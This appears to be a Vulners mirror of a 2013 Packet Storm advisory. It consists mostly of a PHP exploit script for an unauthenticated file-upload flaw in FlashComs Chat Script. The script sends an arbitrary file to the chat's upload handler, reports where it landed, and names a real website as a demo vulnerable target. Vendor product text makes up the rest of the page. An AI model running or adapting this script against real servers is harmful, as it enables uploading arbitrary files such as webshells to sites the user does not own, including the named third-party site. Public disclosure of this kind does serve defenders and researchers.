Lucene search
K

FlashComs Chat Script File Upload

🗓️ 01 Dec 2013 00:00:00Reported by miyachungType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

FlashComs Chat Script File Upload Exploit. Written by miyachung. Date: 29.11.2013 , 13:38 AM. Demo website: http://www.npua.org/flashcoms

Code
`<?php  
/*  
__ _ _ ____   
/ /___ _____ (_)_____________ ______(_)__ _____ / __ \_________ _  
__ / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/  
/ /_/ / /_/ / / / / (__ |__ ) /_/ / / / / __(__ )/ /_/ / / / /_/ /   
\____/\__,_/_/ /_/_/____/____/\__,_/_/ /_/\___/____(_)____/_/ \__, /   
/____/   
* FlashComs Chat Script File Upload Exploit  
* Written by miyachung  
* Date: 29.11.2013 , 13:38 AM  
* Thanks to all janissaries members(burtay,KýLýCaRsLaN,TheMirkin,eno7,3spi0n,n4ss,mmxm,Michelony)  
* Demo vulnerable website: http://www.npua.org/flashcoms/  
* php exploit.php -u www.npua.org/flashcoms -f myfile.txt  
*/  
  
$options = getopt('u:f:');  
  
if(!isset($options['u'],$options['f'])) die("\nHow to use: php $_SERVER[PHP_SELF] -u URL -f FILE_TO_UPLOAD\nExample: php $_SERVER[PHP_SELF] -u www.example.com/paths -f myfile.txt\n");  
  
$handle = curl_init();  
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($handle, CURLOPT_URL, "http://".$options['u']."/common/server/php/file.php?action=upload");  
curl_setopt($handle, CURLOPT_POSTFIELDS,array("Filedata" => "@".$options['f']."","fileId" => $options["f"]));  
$result = curl_exec($handle);  
  
if(strpos($result,"UPLOAD_SUCCESS")){  
echo "\n_____________________________________________________________________\n";  
echo "\t[+] Exploitation success!!\n";  
echo "\t[+] http://$options[u]/files/$options[f]\n";  
echo "_____________________________________________________________________\n";  
}else{  
echo "\n[-] Target is not exploitable\n";  
preg_match('#msg="(.*?)" />#si',$result,$msg);  
echo "[-] Message: ".$msg[1]."\n";  
}   
  
?>`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2013 00:00Current
7.4High risk
Vulners AI Score7.4
14